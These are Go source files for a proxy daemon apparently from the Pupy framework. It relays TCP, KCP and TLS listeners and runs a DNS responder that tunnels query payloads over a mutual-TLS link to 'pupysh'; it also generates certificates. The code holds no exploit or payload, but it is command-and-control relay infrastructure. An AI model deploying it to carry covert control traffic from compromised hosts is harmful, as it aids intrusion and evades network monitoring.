		"udp", &net.UDPAddr{
			IP:   net.ParseIP(EchoBindHost),
			Port: EchoBindPort,
		})

	if err != nil {
		log.Fatalf("Encountered error while binding listener: %s", err)
		return
	}

	go tcpEchoServer(tcpListener)
	go udpEchoServer(udpListener)

	interruptListener := make(chan os.Signal)
	signal.Notify(interruptListener, os.Interrupt)
	<-interruptListener

	log.Println("Interrupted")
}


================================================
FILE: services/proxy/daemon.go
================================================
package main

import (
	"crypto/tls"
	"net"
	"net/http"

	"time"

	"sync/atomic"

	log "github.com/sirupsen/logrus"
)

func NewDaemon(addr string) *Daemon {
	return &Daemon{
		Addr:      addr,
		Listeners: make(map[int]*Listener),
	}
}

func (d *Daemon) ListenAndServe() error {
	listener, err := net.Listen("tcp", d.Addr)
	if err != nil {
		log.Error("Listen error: ", err)
		return err
	}

	for {
		conn, err := listener.Accept()
		log.Debug("HANDLE INCOMING CONNECTION")
		if err != nil {
			log.Error("Accept error: ", err)
			return err
		}

		conn.(*net.TCPConn).SetKeepAlive(true)
		conn.(*net.TCPConn).SetKeepAlivePeriod(1 * time.Minute)
		conn.(*net.TCPConn).SetNoDelay(true)

		conn = tls.Server(conn, ListenerConfig)

		go d.handle(conn)
	}
}

func (d *Daemon) onListenerEnabled() {
	if atomic.AddInt32(&d.UsersCount, 1) == 1 && OnListenerEnabledURL != "" {
		response, err := http.Get(OnListenerEnabledURL)
		if err != nil {
			log.Error("Register failed: ", err)
		} else {
			log.Info("Register:", OnListenerEnabledURL, ": ", response.Status)
		}
	}
}

func (d *Daemon) onListenerDisabled() {
	if atomic.AddInt32(&d.UsersCount, -1) == 0 && OnListenerDisabledURL != "" {
		response, err := http.Get(OnListenerDisabledURL)
		if err != nil {
			log.Error("Register failed: ", err)
		} else {
			log.Info("Register:", OnListenerDisabledURL, ": ", response.Status)
		}
	}
}

func (d *Daemon) handle(conn net.Conn) {
	defer conn.Close()

	brh := &BindRequestHeader{}

	err := RecvMessage(conn, brh)
	if err != nil {
		log.Error("Couldn't read bind request: ", err)
		return
	}

	log.Debug(brh)

	/* Check PSK */

	log.Debug("PROTOCOL CODE: ", brh.Protocol)

	client := conn.RemoteAddr().String()

	switch brh.Protocol {
	case DNS:
		/* Check DNS Already served */

		d.DNSCheck.Lock()
		if d.DNSListener != nil {
			log.Warning(
				"Request: DNS Handler for domain:", brh.BindInfo,
				" client: ", client, " - request shutdown",
			)
			d.DNSListener.sendEmptyMessage()
			d.DNSListener.Shutdown()
		} else {
			log.Warning(
				"Request: DNS Handler for domain:", brh.BindInfo,
				" client: ", client, " - wait for availability",
			)
		}
		d.DNSCheck.Unlock()

		d.DNSLock.Lock()
		d.onListenerEnabled()
		log.Warning(
			"Request: DNS Handler for domain:", brh.BindInfo,
			" client: ", client, " - start",
		)
		d.serveDNS(conn, brh.BindInfo)
		log.Warning(
			"Request: DNS Handler for domain:", brh.BindInfo,
			" client: ", client, " - complete",
		)
		d.onListenerDisabled()
		d.DNSLock.Unlock()

	case INFO:
		var ip string

		if CheckExternalBindHostIP() {
			ip = ExternalBindHost
			if string(ip[0]) == "[" {
				ip = ip[1 : len(ip)-1]
			}

			log.Warning("Request: External IP:", ip, " (Manual)")
		} else {
			ipv4 := GetOutboundIPv4()
			ipv6 := GetOutboundIPv6()

			log.Warning(
				"Request: External IPv4:", ipv4,
				" IPv6:", ipv6, " (Auto)")

			ip = ipv4
		}

		SendMessage(conn, &IPInfo{
			IP: ip,
		})

	case TCP:
		log.Warning(
			"Request: TCP handler with port:", brh.BindInfo,
			" client: ", client, " - start",
		)
		d.onListenerEnabled()
		d.serveStream(-1, conn, brh.BindInfo, d.listenAcceptTCP)
		d.onListenerDisabled()
		log.Warning(
			"Request: TCP handler with port:", brh.BindInfo,
			" client: ", client, " - complete",
		)

	case KCP:
		log.Warning(
			"Request: KCP handler with port:", brh.BindInfo,
			" client: ", client, " MTU:", brh.MTU, " - start",
		)
		d.onListenerEnabled()
		d.serveStream(brh.MTU, conn, brh.BindInfo, d.listenAcceptKCP)
		d.onListenerDisabled()
		log.Warning(
			"Request: KCP handler with port:", brh.BindInfo,
			" client: ", client, " - complete",
		)

	case TLS:
		log.Warning(
			"Request: SSL handler with port:", brh.BindInfo,
			" client: ", client, " - start",
		)
		d.onListenerEnabled()
		d.serveStream(-1, conn, brh.BindInfo, d.listenAcceptTLS)
		d.onListenerDisabled()
		log.Warning(
			"Request: SSL handler with port:", brh.BindInfo,
			" client: ", client, " - complete",
		)

	default:
		log.Error("Unknown protocol", brh.Protocol)
	}
}


================================================
FILE: services/proxy/dns.go
================================================
package main

import (
	"fmt"
	"net"
	"strings"
	"sync/atomic"
	"time"

	"errors"

	dns "github.com/miekg/dns"
	rc "github.com/paulbellamy/ratecounter"
	log "github.com/sirupsen/logrus"
)

func (d *Daemon) serveDNS(conn net.Conn, domain string) error {
	d.DNSCheck.Lock()
	d.DNSListener = NewDNSListener(conn, domain)
	d.DNSCheck.Unlock()

	log.Debug("DNS: Enabled: ", domain)
	err := d.DNSListener.Serve()
	log.Debug("DNS: Disabled: ", domain, err)

	d.DNSCheck.Lock()
	d.DNSListener = nil
	d.DNSCheck.Unlock()
	return err
}

func (p *DNSListener) listenAndServeTCP(cherr chan error) {
	err := p.TCPServer.ListenAndServe()
	if err != nil {
		log.Error("Couldn't start TCP DNS listener:", err)
	}

	cherr <- err
	log.Debug("[1.] DNS TCP CLOSED")
}

func (p *DNSListener) listenAndServeUDP(cherr chan error) {
	err := p.UDPServer.ListenAndServe()
	if err != nil {
		log.Error("Couldn't start TCP DNS listener:", err)
	}

	cherr <- err
	log.Debug("[2.] DNS UDP CLOSED")
}

func (p *DNSListener) messageReader(cherr chan error, chmsg chan []string) {
	for {
		var response []string

		err := RecvMessage(p.Conn, &response)
		if err != nil || response == nil {
			log.Error("DNS: RecvMessage failed: ", err)
			cherr <- err
			break
		} else {
			r := atomic.AddInt32(&p.pendingRequests, -1)
			if r == 0 {
				p.Conn.SetDeadline(time.Time{})
			}
			chmsg <- response

		}
	}

	close(chmsg)
	log.Debug("[3.] REMOTE READER CLOSED")
}

func (p *DNSListener) responseProcessor(queue chan chan []string, recvStrings chan []string) {
	for {
		response := <-recvStrings

		if response == nil {
			break
		}

		rchan := <-queue
		if rchan == nil {
			break
		}

		rchan <- response
	}

waitLoop:
	for {
		select {
		case ignore := <-queue:
			if ignore == nil {
				break waitLoop
			}

			ignore <- []string{}
		default:
			break waitLoop
		}
	}

	log.Debug("[5.] RESPONSE PROCESSOR CLOSED")
}

func (p *DNSListener) sendEmptyMessage() {
	SendMessage(p.Conn, "")
}

func (p *DNSListener) queryProcessor(
	queue chan chan []string,
	interrupt <-chan bool, closeNotify chan<- bool, decoderr chan<- error) {

	ignore := false
	notifySent := false

	for {
		var (
			err error
			r   *DNSRequest
		)

		r = nil
		interrupted := false

		log.Debug("DNS. Wait for interrupt or for close request")

		select {
		case r = <-p.DNSRequests:
		case _ = <-interrupt:
			interrupted = true
		}

		log.Debug("DNS. Wait done: ", r, ignore)

		if r == nil || interrupted {
			if interrupted {
				log.Error("DNS: Interrupt request received", notifySent)
			}

			if !notifySent {
				log.Debug("Send close notify")
				closeNotify <- true
				notifySent = true
				close(closeNotify)
			}

			log.Debug("Ignore 1")
			ignore = true
		}

		if ignore {
			if r != nil {
				r.IPs <- []string{}
				continue
			} else {
				break
			}
		}

		p.Conn.SetDeadline(time.Now().Add(20 * time.Second))

		err = SendMessage(p.Conn, r.Type+":"+r.Name)
		if err != nil {
			log.Error("DNS: Send message failed: ", err)
			r.IPs <- []string{}
			decoderr <- err
			ignore = true
			continue
		} else {
			if atomic.AddInt32(&p.pendingRequests, 1) > 512 {
				r.IPs <- []string{}
				decoderr <- errors.New("Too many pending requests")
				ignore = true
				continue
			} else {
				queue <- r.IPs
			}
		}
	}

waitLoop:
	for {
		select {
		case r := <-p.DNSRequests:
			if r != nil {
				r.IPs <- []string{}
			}
		default:
			break waitLoop
		}
	}

	log.Debug("[4.] Message processor closed")
}

func warnSlow(message string, now time.Time, max time.Duration) {
	current := time.Now()
	barrier := now.Add(max)
	diff := current.Sub(now).Seconds()

	if barrier.Before(current) {
		log.Warning(fmt.Sprintf("%s: %.2fs", message, diff))
	}
}

func (p *DNSListener) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {
	m := new(dns.Msg)
	m.SetReply(r)
	m.Compress = true
	m.Authoritative = false

	processed := true

	now := time.Now()
	result := make(chan []string)

	p.dnsRequestsCounter.Incr(1)
	defer p.dnsProcessedRequestsCounter.Incr(1)

	p.processedRequests.Add(1)
	defer p.processedRequests.Done()
	defer close(result)

	p.cacheLock.Lock()
	for k, v := range p.DNSCache {
		if v.LastActivity.Add(1 * time.Minute).Before(now) {
			log.Debug("Delete cache: ", k)
			delete(p.DNSCache, k)
		}
	}
	p.cacheLock.Unlock()

	if len(r.Question) > 0 {
		for _, q := range r.Question {
			question := q.Name[:]
			if q.Name[len(q.Name)-1] == '.' {
				question = q.Name[:len(q.Name)-1]
			}

			payloadLen := len(question) - len(p.Domain) - 1
			if payloadLen <= 0 {
				payloadLen = 0
			}

			qtype := dns.Type(q.Qtype).String()

			log.Debug("DNS: Request: ", qtype, " ", q.Name)

			record := &DNSCacheRecord{}
			ok := true

			cacheKey := ""

			if q.Qtype == dns.TypeA || q.Qtype == dns.TypeAAAA {
				cacheKey = qtype + ":" + q.Name

				p.cacheLock.Lock()
				record, ok = p.DNSCache[cacheKey]
				p.cacheLock.Unlock()
			}

			if !ok {
				log.Info("DNS: Request: ", q.Name, " not in cache; PL: ", payloadLen)

				responses := []string{}

				if strings.HasSuffix(question, p.Domain) {
					if p.active {
						p.dnsRemoteRequestsCounter.Incr(1)

						if payloadLen <= len(question) {
							question = question[:payloadLen]

							now2 := time.Now()

							p.DNSRequests <- &DNSRequest{
								Name: question,
								Type: qtype,
								IPs:  result,
							}

							log.Debug("DNS: Send request: ", question)
							responses = <-result
							log.Info("DNS: Response: ", question, ": ", responses)

							warnSlow(fmt.Sprintf(
								"DNS: Slow RR communication: (Rates: Remote=%dps Total=%dps Processed=%dps)",
								p.dnsRemoteRequestsCounter.Rate()/10,
								p.dnsRequestsCounter.Rate()/10,
								p.dnsProcessedRequestsCounter.Rate()/10,
							), now2, 1*time.Second)
						}
					}

					if len(responses) > 0 {
						dnsResponses := make([]dns.RR, len(responses))

						for i, response := range responses {
							header := dns.RR_Header{
								Name:   q.Name,
								Rrtype: q.Qtype,
								Class:  dns.ClassINET,
								Ttl:    60,
							}

							switch q.Qtype {
							case dns.TypeA:
								dnsResponses[i] = &dns.A{
									Hdr: header,
									A:   net.ParseIP(response).To4(),
								}
							case dns.TypeAAAA:
								dnsResponses[i] = &dns.AAAA{
									Hdr:  header,
									AAAA: net.ParseIP(response).To16(),
								}
							}
						}

						record = &DNSCacheRecord{
							ResponseRecords: dnsResponses,
						}

						p.cacheLock.Lock()
						p.DNSCache[cacheKey] = record
						p.cacheLock.Unlock()
					} else {
						processed = false
					}
				} else {
					processed = false
				}
			}

			if processed {
				for _, rr := range record.ResponseRecords {
					m.Answer = append(m.Answer, rr)
				}

				record.LastActivity = now
			}
		}
	}

	w.WriteMsg(m)
}

func NewDNSListener(conn net.Conn, domain string) *DNSListener {
	listener := &DNSListener{
		Conn:   conn,
		Domain: domain,

		DNSCache: make(map[string]*DNSCacheRecord),
		UDPServer: &dns.Server{
			Addr:    fmt.Sprintf("%s:%d", ExternalBindHost, DnsBindPort),
			Net:     "udp",
			UDPSize: int(UDPSize),
		},
		TCPServer: &dns.Server{
			Addr: fmt.Sprintf("%s:%d", ExternalBindHost, DnsBindPort),
			Net:  "tcp",
		},
		DNSRequests: make(chan *DNSRequest),

		dnsRequestsCounter:          rc.NewRateCounter(10 * time.Second),
		dnsRemoteRequestsCounter:    rc.NewRateCounter(10 * time.Second),
		dnsProcessedRequestsCounter: rc.NewRateCounter(10 * time.Second),

		active: true,
	}

	listener.UDPServer.Handler = listener
	listener.TCPServer.Handler = listener

	return listener
}

func (p *DNSListener) Serve() error {
	/* Add error handling */

	tcperr := make(chan error)
	udperr := make(chan error)
	decoderr := make(chan error)
	recvStrings := make(chan []string)
	recvErrors := make(chan error)
	closeNotify := make(chan bool)
	interruptNotify := make(chan bool)
	responsesQueue := make(chan chan []string, 512)

	defer close(tcperr)
	defer close(udperr)
	defer close(decoderr)
	defer close(recvErrors)
	defer close(responsesQueue)

	go p.listenAndServeTCP(tcperr)
	go p.listenAndServeUDP(udperr)
	go p.messageReader(recvErrors, recvStrings)
	go p.queryProcessor(responsesQueue, interruptNotify, closeNotify, decoderr)
	go p.responseProcessor(responsesQueue, recvStrings)

	var err error

	tcpClosed := false
	udpClosed := false
	decoderClosed := false
	msgsClosed := false
	shutdown := false

	for !(tcpClosed && udpClosed && decoderClosed && msgsClosed) {
		var err2 error
		select {
		case err2 = <-tcperr:
			log.Println("Recv tcpClosed")
			tcpClosed = true

		case err2 = <-udperr:
			log.Println("Recv udpClosed")
			udpClosed = true

		case err2 = <-decoderr:
			log.Println("Recv decoderClosed")

		case err2 = <-recvErrors:
			log.Println("Recv msgsClosed")
			msgsClosed = true
			close(interruptNotify)

		case <-closeNotify:
			log.Println("Recv decoderClosed")
			shutdown = true
			decoderClosed = true
		}

		log.Debug("Call closed")
		p.Shutdown()
		log.Debug("Call closed complete")

		if err == nil {
			err = err2
		}

		log.Debug("CLOSED: ", tcpClosed, udpClosed, decoderClosed, msgsClosed, shutdown)
	}

	log.Debug("Wait process group complete")
	p.processedRequests.Wait()
	log.Debug("Wait process group complete - done")
	close(p.DNSRequests)
	p.DNSRequests = nil

	return err
}

func (p *DNSListener) Shutdown() {
	p.activeLock.Lock()
	if p.active {
		p.active = false
		p.UDPServer.Shutdown()
		p.TCPServer.Shutdown()
		p.Conn.Close()
		log.Debug("CLOSING DNS REQUESTS")
		log.Debug("DNS REQUESTS CLOSED")
	}
	p.activeLock.Unlock()
}


================================================
FILE: services/proxy/generate.go
================================================
package main

import (
	"net"

	"crypto/ecdsa"
	"crypto/elliptic"
	"crypto/rand"
	"crypto/x509"
	"crypto/x509/pkix"
	"encoding/pem"
	"math/big"
	"os"
	"time"

	log "github.com/sirupsen/logrus"
)

func GetOutboundIPv4() string {
	conn, err := net.Dial("udp", "8.8.8.8:80")
	if err != nil {
		log.Fatal(err)
	}
	defer conn.Close()

	localAddr := conn.LocalAddr().(*net.UDPAddr)

	return localAddr.IP.String()
}

func GetOutboundIPv6() string {
	conn, err := net.Dial("udp", "[2001:4860:4860::8888]:80")
	if err != nil {
		log.Fatal(err)
	}
	defer conn.Close()

	localAddr := conn.LocalAddr().(*net.UDPAddr)

	return localAddr.IP.String()
}

func CheckExternalBindHostIP() bool {
	host := ExternalBindHost
	if string(host[0]) == "[" {
		host = ExternalBindHost[1 : len(ExternalBindHost)-1]
	}

	ifaces, err := net.Interfaces()
	if err != nil {
		return false
	}

	for _, i := range ifaces {
		addrs, err := i.Addrs()
		if err != nil {
			continue
		}

		// handle err
		for _, addr := range addrs {
			var ip net.IP
			switch v := addr.(type) {
			case *net.IPNet:
				ip = v.IP
			case *net.IPAddr:
				ip = v.IP
			}
			// process IP address

			if ip.String() == host {
				return true
			}
		}
	}

	return false
}

func getCN() string {
	switch {
	case ProxyHostname != "":
		return ProxyHostname

	case CheckExternalBindHostIP():
		return ExternalBindHost

	default:
		return GetOutboundIPv4()
	}
}

func generateKeys() {
	ca := &x509.Certificate{
		SerialNumber: big.NewInt(1),
		Subject: pkix.Name{
			Organization: []string{"Pupy CA"},
			Country:      []string{"ZZ"},
		},
		NotBefore: time.Now(),
		NotAfter:  time.Now().AddDate(1, 0, 0),
		IsCA:      true,
		ExtKeyUsage: []x509.ExtKeyUsage{
			x509.ExtKeyUsageClientAuth,
			x509.ExtKeyUsageServerAuth,
		},
		KeyUsage:              x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
		BasicConstraintsValid: true,
	}

	curve := elliptic.P384()

	privCA, _ := ecdsa.GenerateKey(curve, rand.Reader)
	pubCA := &privCA.PublicKey
	ca_b, err := x509.CreateCertificate(rand.Reader, ca, ca, pubCA, privCA)
	if err != nil {
		log.Fatalln("create ca failed", err)
	}

	caSigned, _ := x509.ParseCertificate(ca_b)

	certOut, err := os.Create(ListenerCA)
	if err != nil {
		log.Fatalln("Couldn't save CA certificate:", err)
	}

	pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: ca_b})
	certOut.Close()
	log.Info("CA certificate saved to ", ListenerCA)

	keyOut, err := os.OpenFile(ListenerCAKey, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)
	if err != nil {
		log.Fatalln("Coulnd't save CA key:", err)
	}

	pk_b, _ := x509.MarshalECPrivateKey(privCA)
	pem.Encode(keyOut, &pem.Block{
		Type:  "EC PRIVATE KEY",
		Bytes: pk_b,
	})
	keyOut.Close()
	log.Info("CA key saved to ", ListenerCA)

	proxyCert := &x509.Certificate{
		SerialNumber: big.NewInt(1658),
		Subject: pkix.Name{
			Organization: []string{"Pupy"},
			Country:      []string{"ZZ"},
			CommonName:   getCN(),
		},
		NotBefore:    time.Now(),
		NotAfter:     time.Now().AddDate(1, 0, 0),
		SubjectKeyId: []byte{1},
		ExtKeyUsage:  []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
		KeyUsage:     x509.KeyUsageDigitalSignature,
	}

	proxyPriv, _ := ecdsa.GenerateKey(curve, rand.Reader)
	proxyPub := &proxyPriv.PublicKey

	proxyCert_b, err := x509.CreateCertificate(rand.Reader, proxyCert, caSigned, proxyPub, privCA)
	if err != nil {
		log.Fatalln("Couldn't generate server cert:", err)
	}

	certOut, err = os.Create(ListenerCert)
	if err != nil {
		log.Fatalln("Couldn't save proxy certificate:", err)
	}

	pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: proxyCert_b})
	certOut.Close()
	log.Info("Proxy certificate saved to ", ListenerCert)

	keyOut, err = os.OpenFile(ListenerKey, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)
	if err != nil {
		log.Fatalln("Coulnd't save proxy key:", err)
	}

	proxyPriv_b, _ := x509.MarshalECPrivateKey(proxyPriv)
	pem.Encode(keyOut, &pem.Block{
		Type:  "EC PRIVATE KEY",
		Bytes: proxyPriv_b,
	})
	keyOut.Close()
	log.Info("Proxy key saved to ", ListenerKey)

	clientCert := &x509.Certificate{
		SerialNumber: big.NewInt(1658),
		Subject: pkix.Name{
			Organization: []string{"Pupy"},
			Country:      []string{"ZZ"},
		},
		NotBefore:    time.Now(),
		NotAfter:     time.Now().AddDate(1, 0, 0),
		SubjectKeyId: []byte{2},
		ExtKeyUsage:  []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
		KeyUsage:     x509.KeyUsageDigitalSignature,
	}

	clientPriv, _ := ecdsa.GenerateKey(curve, rand.Reader)
	clientPub := &clientPriv.PublicKey

	clientCert_b, err := x509.CreateCertificate(rand.Reader, clientCert, caSigned, clientPub, privCA)
	if err != nil {
		log.Fatalln("Couldn't generate client cert:", err)
	}

	certOut, err = os.Create(ClientCert)
	if err != nil {
		log.Fatalln("Couldn't save client certificate:", err)
	}

	pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: clientCert_b})
	certOut.Close()
	log.Info("Client cert saved to ", ClientCert)

	keyOut, err = os.OpenFile(ClientKey, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)
	if err != nil {
		log.Fatalln("Coulnd't save client key:", err)
	}

	clientPriv_b, _ := x509.MarshalECPrivateKey(clientPriv)
	pem.Encode(keyOut, &pem.Block{
		Type:  "EC PRIVATE KEY",
		Bytes: clientPriv_b,
	})
	keyOut.Close()
	log.Info("Client key saved to ", ClientKey)
}


================================================
FILE: services/proxy/limits_linux.go
================================================
// +build linux

package main

import (
	log "github.com/sirupsen/logrus"
	"syscall"
)

func init() {
	log.Warning("Set rlimits")
	limits := &syscall.Rlimit{}
	err := syscall.Getrlimit(syscall.RLIMIT_NOFILE, limits)
	if err != nil {
		log.Fatalln("Couldn't get rlimit value: ", err)
	}

	limits.Cur = limits.Max
	syscall.Setrlimit(syscall.RLIMIT_NOFILE, limits)
}


================================================
FILE: services/proxy/main.go
================================================
package main

import (
	"net"
	"path"

	"io/ioutil"

	"crypto/tls"
	"crypto/x509"
	"strconv"
	"strings"

	"flag"

	log "github.com/sirupsen/logrus"
	iniflags "github.com/vharitonsky/iniflags"
)

var (
	ProxyBindHost    = "[::]:9876"
	ExternalBindHost = "::"

	DnsBindPort   uint = 5454
	ProxyHostname      = ""
	UDPSize       uint = 1400
	ListenerCA         = path.Join("..", "crypto", "proxy-ca.crt")
	ListenerCAKey      = path.Join("..", "crypto", "proxy-ca.key")
	ListenerKey        = path.Join("..", "crypto", "proxy.key")
	ListenerCert       = path.Join("..", "crypto", "proxy.crt")
	ClientKey          = path.Join("..", "crypto", "proxy-client.key")
	ClientCert         = path.Join("..", "crypto", "proxy-client.crt")

	PortMaps []PortMap

	OnListenerEnabledURL  = ""
	OnListenerDisabledURL = ""

	ListenerConfig *tls.Config
)

func init() {
	generate := false
	loglevel := "ERROR"
	portmap := ""

	flag.StringVar(&ProxyBindHost, "listen-proxy", ProxyBindHost, "IP address to bind pupysh listener side")
	flag.StringVar(&ExternalBindHost, "listen", ExternalBindHost, "IP address to bind services listener side")
	flag.UintVar(&DnsBindPort, "dns-port", DnsBindPort, "Port to bind DNS listeners (if any)")
	flag.UintVar(&UDPSize, "udp-mtu-size", UDPSize, "MTU Size for DNS and KCP UDP Packets")
	flag.StringVar(&ListenerCA, "ca", ListenerCA, "Path to CA certificate (pupysh side)")
	flag.StringVar(&ListenerKey, "key", ListenerKey, "Path to TLS key (pupysh side)")
	flag.StringVar(&ListenerCert, "cert", ListenerCert, "Path to TLS cert (pupysh side)")
	flag.StringVar(&portmap, "port-map", portmap, "Automatically substitute ports (example: \"443:1443 80:8080\")")
	flag.StringVar(&ProxyHostname, "hostname-proxy", ProxyHostname,
		"Hostname for pupysh listener side (used with generate)")
	flag.StringVar(&loglevel, "loglevel", loglevel, "Set log level")
	flag.StringVar(&OnListenerEnabledURL, "on-enabled-url", OnListenerEnabledURL,
		"Send GET request when at least one client connected")
	flag.StringVar(&OnListenerDisabledURL, "on-disabled-url", OnListenerDisabledURL,
		"Send GET request when at least one client connected")
	flag.BoolVar(&generate, "generate", false, "Generate all the keys")

	iniflags.Parse()

	switch strings.ToLower(loglevel) {
	case "error":
		log.SetLevel(log.ErrorLevel)
	case "err":
		log.SetLevel(log.ErrorLevel)
	case "warning":
		log.SetLevel(log.WarnLevel)
	case "warn":
		log.SetLevel(log.WarnLevel)
	case "info":
		log.SetLevel(log.InfoLevel)
	case "debug":
		log.SetLevel(log.DebugLevel)
	default:
		log.Fatalln("Invalid log level", loglevel)
	}

	if strings.Contains(portmap, ":") {
		for _, mapping := range strings.Split(portmap, " ") {
			if !strings.Contains(portmap, ":") {
				continue
			}

			parts := strings.Split(mapping, ":")
			if len(parts) != 2 {
				log.Fatalln("Invalid mapping specification: ", parts)
			}

			var (
				from, to int
				err      error
			)

			from, err = strconv.Atoi(parts[0])
			if err != nil {
				log.Fatalln("Invalid mapping specification: ", parts, "From: ", err)
			}

			to, err = strconv.Atoi(parts[1])
			if err != nil {
				log.Fatalln("Invalid mapping specification: ", parts, "To: ", err)
			}

			PortMaps = append(PortMaps, PortMap{
				From: from,
				To:   to,
			})

		}
	}

	host, _, err := net.SplitHostPort(ExternalBindHost)
	if err == nil && host != "" {
		ExternalBindHost = host
	}

	if ExternalBindHost == "" {
		ExternalBindHost = "::"
	}

	if strings.Index(ExternalBindHost, ":") != -1 {
		ExternalBindHost = "[" + ExternalBindHost + "]"
	}

	log.Warn("Mapper binds to ", ExternalBindHost)
	log.Warn("Proxy binds to ", ProxyBindHost)

	if generate {
		log.Warn("Genrating NEW keys")
		generateKeys()
	}

	cert, err := tls.LoadX509KeyPair(ListenerCert, ListenerKey)
	if err != nil {
		log.Fatalln(err)
	}

	pem, err := ioutil.ReadFile(ListenerCA)
	if err != nil {
		log.Fatalln(err)
	}

	caPool := x509.NewCertPool()
	if !caPool.AppendCertsFromPEM(pem) {
		log.Fatalln("Could't append CA certificates to CA pool")
	}

	ListenerConfig = &tls.Config{
		Certificates: []tls.Certificate{cert},
		CipherSuites: []uint16{
			tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,
			tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
			tls.TLS_RSA_WITH_AES_256_GCM_SHA384,
			tls.TLS_RSA_WITH_AES_256_CBC_SHA,
		},
		ClientAuth: tls.RequireAndVerifyClientCert,
		ClientCAs:  caPool,
		NextProtos: []string{"pp/1"},
	}
}

func main() {
	NewDaemon(ProxyBindHost).ListenAndServe()
}


================================================
FILE: services/proxy/message.go
================================================
package main

import (
	"encoding/binary"
	"time"

	"io"
	"net"

	msgpack "github.com/vmihailenco/msgpack"
)

func SendError(conn net.Conn, err error) error {
	return SendMessage(conn, ConnectionAcceptHeader{
		Error: err.Error(),
	})
}

func SendKeepAlive(conn net.Conn, tick time.Time) error {
	return SendMessage(conn, KeepAlive{
		Tick: tick.Unix(),
		Last: false,
	})
}

func SendMessage(conn net.Conn, msg interface{}) error {
	data, err := msgpack.Marshal(msg)
	if err != nil {
		return err
	}

	var datalen int32 = int32(len(data))

	err = binary.Write(conn, binary.BigEndian, datalen)
	if err != nil {
		return err
	}

	_, err = conn.Write(data)

	return err
}

func RecvMessage(conn net.Conn, msg interface{}) error {
	var datalen uint32

	err := binary.Read(conn, binary.BigEndian, &datalen)
	if err != nil {
		return err
	}

	data := make([]byte, datalen)

	_, err = io.ReadFull(conn, data)
	if err != nil {
		return err
	}

	return msgpack.Unmarshal(data, msg)
}


================================================
FILE: services/proxy/streams.go
================================================
package main

import (
	"fmt"
	"io"
	"net"
	"strconv"

	"time"

	"context"
	"errors"

	"crypto/tls"
	"crypto/x509"
	"math/rand"

	log "github.com/sirupsen/logrus"
	kcp "github.com/xtaci/kcp-go"
)

func NewNetReader(mtu int, in, out net.Conn) *NetReader {
	return &NetReader{
		mtu:  mtu,
		in:   in,
		out:  out,
		wait: make(chan error),
	}
}

func (n *NetReader) recv() ([]byte, error) {
	portion := 1024 * n.mtu
	if portion <= 0 {
		portion = 4 * 1024 * 1024
	}

	buffer := make([]byte, portion)
	l, err := n.in.Read(buffer)
	if err != nil {
		return nil, err
	}

	return buffer[:l], err
}

func (n *NetReader) send(buffer []byte) error {
	toSend := len(buffer)
	offset := 0

	for {
		if toSend == 0 {
			break
		}

		portion := toSend
		if n.mtu > 0 && portion > n.mtu {
			portion = n.mtu
		}

		cnt, err := n.out.Write(buffer[offset : offset+portion])
		if err != nil {
			return err
		}

		offset += cnt
		toSend -= cnt
	}

	return nil
}

func (n *NetReader) Serve() {
	for {
		buffer, err := n.recv()
		if err != nil {
			n.ReportError(err)
			return
		}

		err = n.send(buffer)
		if err != nil {
			n.ReportError(err)
			return
		}
	}
}

func (n *NetReader) ReportError(err error) {
	log.Error(
		"NetReader: ", n.in.RemoteAddr(), " -> ",
		n.out.RemoteAddr(), ": ", err,
	)

	n.err = err
	select {
	case n.wait <- err:
	default:
	}
}

func NewNetForwarder(pproxy, remote net.Conn) *NetForwarder {
	return &NetForwarder{
		pproxy: pproxy,
		remote: remote,
	}
}

func (n *NetForwarder) sendRemoteConnectionInfo() error {
	localAddr, localPortS, _ := net.SplitHostPort(n.remote.LocalAddr().String())
	remoteAddr, remotePortS, _ := net.SplitHostPort(n.remote.RemoteAddr().String())

	localPort, _ := strconv.Atoi(localPortS)
	remotePort, _ := strconv.Atoi(remotePortS)

	return SendMessage(n.pproxy, ConnectionAcceptHeader{
		LocalHost:  localAddr,
		LocalPort:  localPort,
		RemoteHost: remoteAddr,
		RemotePort: remotePort,
	})
}

func (n *NetForwarder) Serve(ctx context.Context, l7ready chan error, remoteMtu int) error {
	log.Warning(
		"Forwarder: ", n.remote.LocalAddr(), " <- ", n.remote.RemoteAddr(),
	)

	err := n.sendRemoteConnectionInfo()
	if err != nil {
		log.Error("Notification handler send failed: ", err)
		return err
	}

	select {
	case err = <-l7ready:
		if err != nil {
			return err
		}
	case <-ctx.Done():
		return errors.New("Cancelled")
	}

	log.Debug("Start network readers")

	remoteLocalReader := NewNetReader(remoteMtu, n.remote, n.pproxy)
	localRemoteReader := NewNetReader(remoteMtu, n.pproxy, n.remote)

	go remoteLocalReader.Serve()
	go localRemoteReader.Serve()

	select {
	case err = <-remoteLocalReader.wait:
		log.Debug("NetForwarder: Remote->Local Closed: ", err)
		return err

	case err = <-localRemoteReader.wait:
		log.Debug("NetForwarder: Local->Remote Closed: ", err)
		return err

	case <-ctx.Done():
		log.Debug("NetForwarder: Cancellation received")
		return errors.New("Cancelled")
	}
}

func (d *Daemon) Accept(in net.Conn, port int, createListener func(net.Conn) (net.Listener, error)) (net.Conn, error) {
	var (
		listener *Listener
		ok       bool
	)

	d.ListenersLock.Lock()
	if listener, ok = d.Listeners[port]; !ok {
		log.Debug(fmt.Sprintf("Create new listener [%d]", port))
		l, err := createListener(in)
		if err != nil {
			log.Error(fmt.Sprintf("Create new listener [%d]: failed: %s", port, err.Error()))
			d.ListenersLock.Unlock()
			return nil, err
		}

		listener = &Listener{
			Listener: l,
			refcnt:   0,
		}

		d.Listeners[port] = listener
		log.Debug(fmt.Sprintf("New listener [%d] created", port))
	}

	listener.refcnt += 1
	log.Info(fmt.Sprintf("Create new listener [%d]: ok: refcnt=%d", port, listener.refcnt))
	d.ListenersLock.Unlock()

	return listener.Listener.Accept()
}

func (d *Daemon) Remove(port int) {
	var (
		listener *Listener
